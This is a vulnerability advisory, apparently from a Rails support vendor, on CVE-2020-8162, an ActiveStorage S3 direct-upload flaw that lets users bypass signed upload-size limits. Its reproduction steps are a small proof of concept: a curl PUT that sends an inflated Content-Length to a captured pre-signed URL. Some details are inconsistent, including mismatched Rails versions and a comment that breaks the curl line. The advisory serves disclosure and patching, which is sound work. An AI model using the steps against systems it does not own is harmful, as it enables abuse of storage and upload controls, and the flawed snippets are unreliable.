CVE-2020-8162

Authorization Bypass
Affects
Ruby on Rails Framework
<= 5.2.4.1 <= 6.0.3.0 Not affected: Applications that do not use the direct upload functionality of the ActiveStorage S3 adapter.
in
Rails
No items found.
Exclamation circle icon
Patch Available
This Vulnerability has been fixed in the Never-Ending Support (NES) version offered by HeroDevs

Ruby on Rails (often called Rails) is a web application framework written in Ruby that emphasizes convention over configuration and the principle of "don't repeat yourself" (DRY). It provides developers with a structured and efficient way to build database-backed web applications through pre-built patterns for rapid development. 

There is a vulnerability in the ActiveStorage S3 library that allows the Content-Length of a direct file upload to be modified by an end user.

Broken access control is one of the Top 10 Open Web Application Security Project (OWASP) vulnerabilities. It occurs when an attacker gains access to resources, actions, or data they should not be allowed to access due to flawed access control mechanisms. This often happens when applications fail to enforce proper authorization checks after user authentication or rely on insecure methods for access control.

Details

Module Info

Vulnerability Info

With this vulnerability, an attacker can control the Content-Length of an S3 direct upload URL without receiving a new signature from the server. This could be used to bypass controls in place on the server to limit upload size.

This happens because the server did not properly enforce that the Content-Length in the request matches what was originally signed. As a result, attackers could upload files that are larger than the intended limit.

Steps To Reproduce

1. Install a version of Rails vulnerable to CVE-2020-8162, such as Rails 6.0.3.0:

gem install rails -v 5.2.2.0
rails _5.2.2.0_ new vulnerable_app
cd vulnerable_app
bundle install

2. In a Rails app, ensure that ActiveStorage is configured for direct uploads. Add this to config/storage.yml:

amazon:
  service: S3
  access_key_id: <%= ENV['AWS_ACCESS_KEY_ID'] %>
  secret_access_key: <%= ENV['AWS_SECRET_ACCESS_KEY'] %>
  region: <%= ENV['AWS_REGION'] %>
  bucket: <%= ENV['AWS_BUCKET'] %>

Add this to config/environments/development.rb:

config.active_storage.service = :amazon

3. Install ActiveStorage (if not already set up; the db:migrate create the ActiveStorage tables):

rails active_storage:install
rails db:migrate

4. Enable direct uploads in a form by creating a basic file upload form using ActiveStorage's direct upload feature. Create this example view (app/views/uploads/new.html.erb):

<%= form_with model: @upload, url: uploads_path, html: { multipart: true } do |form| %>
  <%= form.file_field :file, direct_upload: true %>
  <%= form.submit "Upload" %>
<% end %>

5. Intercept and manipulate the direct upload by opening your browser's developer tools (i.e. the Network Browser). Upload a small file through the form. Capture the pre-signed S3 URL used for the direct upload.

This will be a PUT request to S3 and will look like this:

https://your-bucket.s3.amazonaws.com/.../file.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&...

Copy this pre-signed URL for the next step.

6. Exploit the vulnerability with cURL by manually uploading a larger file than what the server originally signed for by manipulating the Content-Length header.

curl -X PUT "https://your-bucket.s3.amazonaws.com/.../file.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256&..." \
  -H "Content-Type: application/octet-stream" \
  -H "Content-Length: 1000000000" \  # Maliciously inflated size (1GB)
  --data-binary @large_file.zip

Replace large_file.zip with a file larger than the original allowed size.

The Content-Length is intentionally set to a much larger value than was signed.

7. If the upload succeeds, the server fails to enforce the signed Content-Length.

You should see the large file appear in your S3 bucket despite the original upload request being for a smaller file.

8. After the code is corrected, the S3 bucket will reject the upload due to a mismatched signature, or the server invalidates the request.

Credits

  • Travis Pew (@travisp)

Mitigation

Users of affected versions of Ruby on Rails should follow one of the following mitigations:

  • Upgrade to a corrected version.
  • Leverage a commercial support partner like HeroDevs for post-EOL security support.

Vulnerability Details
ID
CVE-2020-8162
PROJECT Affected
Ruby on Rails Framework
Versions Affected
<= 5.2.4.1 <= 6.0.3.0 Not affected: Applications that do not use the direct upload functionality of the ActiveStorage S3 adapter.
Published date
June 19, 2020
≈ Fix date
June 19, 2020
Severity
High
Category
Authorization Bypass
Sign up for the latest vulnerability alerts fixed in
Ruby on Rails NES
Rss feed icon
Subscribe via RSS
or
Thanks for signing up for our Newsletter! We look forward to connecting with you.
Oops! Something went wrong while submitting the form.